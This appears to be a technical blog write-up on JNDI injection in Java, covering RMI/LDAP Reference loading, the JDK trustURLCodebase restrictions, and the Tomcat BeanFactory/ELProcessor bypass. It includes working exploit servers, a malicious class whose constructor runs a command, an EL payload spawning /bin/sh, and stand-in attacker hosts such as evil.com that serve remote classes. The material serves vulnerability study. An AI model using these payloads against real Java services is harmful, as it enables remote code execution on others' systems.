JNDI Injection#
0x01 What is JNDI#
RMI && LDAP#
A directory is a type of distributed database, and a directory service is a system composed of a directory database and a set of access protocols. LDAP stands for Lightweight Directory Access Protocol, which provides a mechanism for querying, browsing, searching, and modifying internet directory data, running on top of the TCP/IP protocol stack and based on a C/S architecture. In addition to RMI services, JNDI can also interact with LDAP directory services, and Java objects can have various storage forms in the LDAP directory:
- Java Serialization
- JNDI Reference
- Marshalled Objects
- Remote Location (deprecated)
LDAP can specify various attributes for stored Java objects:
- javaCodeBase
- objectClass
- javaFactory
- javaSerializedData
JNDI Principles#
JNDI - Java Naming and Directory Interface, JNDI provides a unified client API, which is mapped to specific naming services and directory systems by administrators through implementations of different Service Provider Interfaces (SPI), allowing Java applications to interact with these naming and directory services, as shown in the figure:
Naming Service
A naming service is a simple key-value pair binding that allows retrieval of values by key names, with RMI being a typical naming service.
- A naming service is an entity that associates names with values, also known as "binding."
- It provides a tool for looking up objects based on names, referred to as "lookup" or "search" operations.
Directory Service
LDAP is a typical directory service.
- It is a special type of naming service that allows storage and lookup of "directory objects."
- Directory objects differ from general objects because they can associate attributes with objects.
- Therefore, directory services provide extended functionality for manipulating object attributes.
The essence of naming services and directory services is the same; both look up objects by keys, but the keys in directory services are a bit more flexible and complex.
In simple terms, JNDI provides a set of generic interfaces for applications to easily access different backend services, such as LDAP, RMI, CORBA, etc. As shown in the figure:
In Java, to manage, access, and invoke remote resource objects more conveniently, services like LDAP and RMI are often used to bind resource objects or methods to fixed remote service endpoints for applications to access and invoke.
A simple JNDI example:
package jndi_test;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface IHello extends Remote {
public String sayHello(String name) throws RemoteException;
}
package jndi_test;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class IHelloImpl extends UnicastRemoteObject implements IHello {
protected IHelloImpl() throws RemoteException {
super();
}
public String sayHello(String name) throws RemoteException {
return "Hello " + name + " ^_^";
}
}
package jndi_test;
import javax.naming.Context;
import javax.naming.InitialContext;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Properties;
public class CallService {
public static void main(String[] args) throws Exception {
// Configure JNDI default settings
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
Context ctx = new InitialContext(env);
// Start RMI service on local port 1099 and bind method object with identifier "hello"
Registry registry = LocateRegistry.createRegistry(1099);
IHello hello = new IHelloImpl();
registry.bind("hello", hello);
// JNDI retrieves the method object on RMI and invokes it
IHello rHello = (IHello) ctx.lookup("http://192.168.1.148:1099/hello");
System.out.println(rHello.sayHello("RickGray"));
}
}
JNDI retrieves and invokes the remote method sayHello.
Here, the JNDI service is initialized, and during the initialization of JNDI settings, its context environment (RMI, LDAP, or CORBA, etc.) can be specified in advance. This example specifies the context environment as RMI.
Process:
When JNDI retrieves the remote sayHello() function and passes the "RickGray" parameter for invocation, the actual execution of that function occurs on the remote server, and upon completion, the result is serialized and returned to the application side.
Dynamic Loading of Bytecode in RMI#
If the remotely obtained object on the RMI service is of the Reference class (the abstract base class for reference object types) or its subclasses, then when the client obtains the remote object stub instance, it can load class files from other servers for instantiation.
Key attributes in Reference:
- className - The class name used for remote loading
- classFactory - The name of the class to be instantiated in the loaded class
- classFactoryLocation - The address providing class data, which can be file/ftp/http, etc.
For example, here we define a Reference instance and wrap the instance object using a class that inherits from UnicastRemoteObject, allowing it to be accessed remotely via RMI:
Reference refObj = new Reference("refClassName", "insClassName", "http://example.com:12345/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);
When a client retrieves the remote object via lookup("refObj"), it obtains a stub of a Reference class. Since what is retrieved is a Reference instance, the client will first look for the class identified as refClassName in the local CLASSPATH. If not found locally, it will request http://example.com:12345/refClassName.class to dynamically load classes and invoke the constructor of insClassName.
This illustrates that when obtaining RMI remote objects, external code can be dynamically loaded for object type instantiation, and JNDI also has the capability to access RMI remote objects. As long as the lookup parameter, i.e., the parameter value of the lookup() function, is controllable, it may prompt the program to load and execute malicious code deployed on the attacker's server.
Dynamic Conversion of JNDI Protocols#
As mentioned above, when initializing JNDI settings, the context environment (RMI, LDAP, or CORBA, etc.) can be specified in advance.
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
Context ctx = new InitialContext(env);
When calling lookup() or search(), it is possible to dynamically convert the context environment using a URI.
For example, the current context is set to access RMI services through the Context.PROVIDER_URL property, but it can still directly use the LDAP URI format to convert the context environment to access bound objects on the LDAP service:
ctx.lookup("ldap://attacker.com:12345/ou=foo,dc=foobar,dc=com");
Why can an absolute path URI be used to dynamically convert the context environment?
InitialContext#lookup:
public Object lookup(String name) throws NamingException {
return getURLOrDefaultInitCtx(name).lookup(name);
}
The specific code implementation of getURLOrDefaultInitCtx() is:
protected Context getURLOrDefaultInitCtx(String name)
throws NamingException {
if (NamingManager.hasInitialContextFactoryBuilder()) {
return getDefaultInitCtx();
}
String scheme = getURLScheme(name);
if (scheme != null) {
Context ctx = NamingManager.getURLContext(scheme, myProps);
if (ctx != null) {
return ctx;
}
}
return getDefaultInitCtx();
}
First, it checks whether a FactoryBuilder has been set, but this is actually unrelated to the INITIAL_CONTEXT_FACTORY
we set, ultimately returning null.
Then it enters getURLScheme.
It takes the content before ://
as the protocol name and passes it to NamingManager.getURLContext().
As can be seen, if the scheme cannot be obtained, it will use the originally specified INITIAL_CONTEXT_FACTORY
in env; otherwise, it will perform dynamic conversion to obtain the context factory corresponding to the current protocol.
Following up on getURLObject.
ResourceManager.getFactory()
will load the corresponding factory class through the context classloader.
Then it calls the factory class's getObjectInstance method to obtain the corresponding protocol context.
In summary, the final returned context type still depends on the URI passed to lookup; only when the URI is omitted will it use the INITIAL_CONTEXT_FACTORY
specified in env.
That is, when the lookup() function is called for the first time, a context environment initialization occurs, and the code will perform a URL parsing on the paramName parameter value. If paramName contains a specific schema protocol, the code will use the corresponding factory to initialize the context environment. At this point, regardless of what the previously configured factory environment was, it will be dynamically replaced.
The JNDI protocols that support dynamic conversion by default are as follows:
Protocol Name | Protocol URL | Context Class |
---|---|---|
DNS Protocol | dns:// | com.sun.jndi.url.dns.dnsURLContext |
RMI Protocol | rmi:// | com.sun.jndi.url.rmi.rmiURLContext |
LDAP Protocol | ldap:// | com.sun.jndi.url.ldap.ldapURLContext |
LDAP Protocol | ldaps:// | com.sun.jndi.url.ldaps.ldapsURLContextFactory |
IIOP Object Request Broker Protocol | iiop:// | com.sun.jndi.url.iiop.iiopURLContext |
IIOP Object Request Broker Protocol | iiopname:// | com.sun.jndi.url.iiopname.iiopnameURLContextFactory |
IIOP Object Request Broker Protocol | corbaname:// | com.sun.jndi.url.corbaname.corbanameURLContextFactory |
0x02 JNDI Injection#
The core causes of JNDI injection are twofold:
- Dynamic protocol conversion
- Reference class
Version Restrictions#
- Starting from JDK 5U45, 6U45, 7u21, and 8u121,
java.rmi.server.useCodebaseOnly
defaults to true, prohibiting the use of RMI ClassLoader to load remote classes (however, the Reference class loads remote classes essentially using URLClassLoader, so this parameter has no effect on JNDI injection). - Starting from JDK 6u132, 7u122, and 8u113,
com.sun.jndi.rmi.object.trustURLCodebase
andcom.sun.jndi.rmi.object.trustURLCodebase
default to false, prohibiting RMI and CORBA protocols from using remote codebase for JNDI injection. - Starting from JDK 11.0.1, 8u191, 7u201, and 6u211,
com.sun.jndi.ldap.object.trustURLCodebase
defaults to false, prohibiting the LDAP protocol from using remote codebase for JNDI injection.
JNDI Injection via RMI and LDAP (jdk<8u191)#
JNDI injection via RMI and LDAP is based on the special handling of the Reference class.
Exploitation Conditions#
- The parameter of the client's lookup() method is controllable.
- The classFactoryLocation parameter is controllable when the server uses Reference.
Injection Process#
Injection process:
- The attacker needs to construct a malicious object, adding malicious code in its constructor. This object is uploaded to the server to await remote loading.
- Construct a malicious RMI server, binding a ReferenceWrapper object, which is a wrapper for the Reference object.
- The attacker triggers dynamic environment conversion through a controllable URI parameter, for example, the URI is rmi://evil.com:1099/refObj;
- The originally configured context environment rmi://localhost:1099 will be dynamically redirected to rmi://evil.com:1099/;
- The application requests the bound object refObj from rmi://evil.com:1099, and the RMI service prepared by the attacker will return the ReferenceWrapper object (Reference("EvilObject", "EvilObject", "http://evil-cb.com/") that refObj is supposed to bind);
- The Reference object contains a remote address from which the malicious object class can be loaded.
- During the lookup process, JNDI will resolve the Reference object and remotely load the malicious object, triggering the vulnerability.
Why was the method of remotely loading the Reference object not mentioned in the RMI attack method? This is because the client has changed; previously, the client called the server's method via RMI, but here JNDI is calling, which also causes the lookup method to change, leading to the dynamic conversion of the JNDI protocol and triggering dynamic environment conversion.
0x03 RMI#
Example:
Server
package Inject;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws Exception {
try {
Registry registry = LocateRegistry.createRegistry(1099);
String factoryUrl = "http://127.0.0.1:8080/";
Reference reference = new Reference("evilObject","evilObject", factoryUrl);
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("w0s1np", wrapper);
System.err.println("Server ready, factoryUrl:" + factoryUrl);
} catch (Exception e) {
System.err.println("Server exception: " + e.toString());
e.printStackTrace();
}
}
}
package Inject;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JNDIClient {
public static void main(String[] args) throws Exception {
try {
Object ret = new InitialContext().lookup("rmi://127.0.0.1:1099/w0s1np");
System.out.println("ret: " + ret);
} catch (NamingException e) {
e.printStackTrace();
}
}
}
When the client calls the InitialContext().lookup() method, it will fetch the class from http://127.0.0.1:8080/evilObject.class and trigger the malicious code in the constructor.
public class evilObject {
public evilObject() throws Exception{
Runtime.getRuntime().exec("open -a Calculator");
}
}
Place evilObject.java in another directory (to prevent the compiled bytecode from being found in the current path during the vulnerability reproduction process when the application instantiates the EvilObject object and does not go to the remote for download).
Low Version JDK Analysis#
jdk8u_202, 65, 20 mixed debugging, and similar to rmi deserialization, using low version jdk has some debugging issues.
Analyzing the process after lookup.
First, obtain the RegistryContext@763 object, which also contains the stub object and rmi service address and port information, then enter the lookup method of the RegistryContext@763 object:
Then call the lookup of the RegistryImpl_Stub@764 object, this part is the same as the communication process between Stub and Skeleton in the RMI protocol.
That is, registry#lookup
obtains the Remote class bound to the remote malicious server.
Then call the RegistryContext#decodeObject
method, which calls the getObjectInstance of that Remote class to instantiate that class.
Check whether var1 is an instance of RemoteReference or its subclasses, then call NamingManager.getObjectInstance()
.
First, obtain the factory instance through getObjectFactoryFromReference
, then call its getObjectInstance
method.
Following up on getObjectFactoryFromReference,
First, call helper.loadClass()
, which internally obtains the AppClassLoader from the context and then attempts to load the factory class from the local.
If it fails, it will obtain the codebase (which is the factoryLocation) and then pass it to the helper to try loading with URLClassLoader.
Remote loading, FactoryURLClassLoader
is a subclass of URLClassLoader
.
In the above Class.forName
, the second parameter is true
, so when loading, it can trigger the code in the static
area.
After obtaining the class,
This will trigger the code in the constructor
(this will be transformed into the ObjectFactory
class, and to avoid errors, the malicious code can inherit this interface).
After returning, the getObjectInstance()
method will be called again.
Summary#
The following three code blocks can execute our malicious code:
- Static area
- Constructor
- getObjectInstance()
High Version JDK Analysis#
First, check where the restrictions are applied.
RegistryContext#decodeObject
performs checks on the Reference
object before NamingManager.getObjectInstance
, where var8.getFactoryClassLocation()
is the remote address we set as codebase
, and trustURLCodebase
defaults to false
.
This means that by default, we are not allowed to set a remote address
, thus defending against our remote loading of malicious classes.
Local Factory Class#
Since remote loading is prohibited via codebase, we can load a local factory that can exploit and then execute Java code.
However, this exploitation method is limited by whether the corresponding factory exists in the local classpath of the target machine.
The dangerous functions are still the three mentioned in the summary: static
, constructor
, and getObjectInstance()
, but actually, static
and constructor
are unlikely to have exploitable places, so we mainly look for getObjectInstance()
, which is a method of the ObjectFactory
interface, so we just need to find the subclasses of ObjectFactory
.
This method naturally also depends on other component dependencies, the most common being org.apache.naming.factory.BeanFactory
and javax.el.ELProcessor
.
Add the following tomcat
dependencies:
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.0</version>
</dependency>
package rmi_bypass;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Properties;
public class RMIServer {
public static void main(String[] args) throws Exception{
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1099");
InitialContext ctx = new InitialContext(env);
Registry registry = LocateRegistry.createRegistry(1099);
// Instantiate Reference, specifying the target class as javax.el.ELProcessor, and the factory class as org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
// Force the 'x' property setter from 'setX' to 'eval', detailed logic see BeanFactory.getObjectInstance code
ref.add(new StringRefAddr("forceString", "x=eval"));
// Use expression to execute command
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','open -a calculator']).start()\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("w0s1np", referenceWrapper);
}
}
Forward Analysis#
First, go to NamingManager#getObjectInstance
.
Enter BeanFactory#getObjectInstance
.
getObjectInstance checks whether the current ref object is an instance of ResourceRef, and ResourceRef is a subclass of Reference.
So this explains why we need to construct a ResourceRef to load the factory class, rather than the Reference we commonly use.
Then obtain the classname, which is javax.el.ELProcessor
, and call tcl to load the class.
“forceString”
can force a setter method for the property, here we set the property "x" setter method to ELProcessor.eval()
.
First, obtain the forceString
property from ref, then split it by ,
into pairs of methods, and then split each pair by =
. The front is the key to be put into the map, and the back is the method name to be obtained from the beanclass
(note that this will only get methods with String as parameters, we see that paramTypes
is uncontrollable), and then put it into the forced
hashmap.
Then in the following while loop, it will get Type
. When it is not the value in the if, it will obtain the corresponding method from the forced
using this Type name
, here it is x
, and then call this method via reflection, with the parameter being the value corresponding to x, so the two values (x) must be the same.
The bean object is the instance of beanClass, and when invoke succeeds, javax.el.ELProcessor#eval
is executed.
Exploitation Summary
BeanFactory#getObjectInstance
exploitation conditions:
- Classes from JDK or common libraries
- Public no-argument constructor //obviously, directly obtained through newInstance()
- Public method with only one String.class type parameter, and that method can cause a vulnerability //can only call String methods
The above utilizes the el expression.
Reverse Engineering Analysis#
Locating ReferenceRef
From the restriction logic in RegistryContext#decodeObject
, we can see that java.naming.Reference
cannot be used because getFactoryClassLocation
cannot pass.
var8 = (Reference)var3;
if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {
throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
public Reference(String className, String factory, String factoryLocation) {
this(className);
classFactory = factory;
classFactoryLocation = factoryLocation;
}
So, what other classes satisfy:
- Inherit from Reference
- getFactoryClassLocation can be null
Try to find subclasses of Reference.
Locating ReferenceWrapper
Still need to return to NamingManager#getObjectInstance
.
ObjectFactory factory;
ref = (Reference) refInfo;
String f = ref.getFactoryClassName();
factory = getObjectFactoryFromReference(ref, f);
factory.getObjectInstance(ref, name, nameCtx, environment);
Check the constructor of ResourceRef
.
public ResourceRef(String resourceClass, String description,
String scope, String auth, boolean singleton,
String factory, String factoryLocation)
So we just need to inherit ObjectFactory
and have a dangerous function in getObjectInstance
.
The BeanFactory
originally serves to assign values through reflection to a certain BeanClass's setter.
However, we can force the setter specified by the forceString
parameter to be eval
in ELProcessor, so that beanClass.getMethod()
becomes the method object of eval.
Exploitation conditions:
- Requires a no-argument constructor (because
Object bean = beanClass.getConstructor().newInstance();
) - Can call methods that meet the conditions, requiring the method to have one parameter of type String (can find the setter method alias based on the Reference's properties)
- Can also call set* methods, requiring the method to have one parameter of type String
- All the above methods must be public
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws NamingException {
Reference ref = (Reference) obj;
String beanClassName = ref.getClassName();
ClassLoader tcl = Thread.currentThread().getContextClassLoader();
// 1. Reflectively obtain the class object
if (tcl != null) {
beanClass = tcl.loadClass(beanClassName);
} else {
beanClass = Class.forName(beanClassName);
}
// 2. Initialize the class instance
Object bean = beanClass.getConstructor().newInstance();
// 3. Find the setter method alias based on Reference's properties
RefAddr ra = ref.get("forceString");
String value = (String)ra.getContent();
// 4. Parse aliases and save them to the dictionary
for (String param: value.split(",")) {
param = param.trim();
index = param.indexOf('=');
if (index >= 0) {
setterName = param.substring(index + 1).trim();
param = param.substring(0, index).trim();
} else {
setterName = "set" +
param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
param.substring(1);
}
forced.put(param, beanClass.getMethod(setterName, paramTypes));
}
// 5. Parse all properties and call setter methods based on aliases
Enumeration<RefAddr> e = ref.getAll();
while (e.hasMoreElements()) {
ra = e.nextElement();
String propName = ra.getType();
String value = (String)ra.getContent();
Object[] valueArray = new Object[1];
Method method = forced.get(propName);
if (method != null) {
valueArray[0] = value;
method.invoke(bean, valueArray);
}
// ...
}
}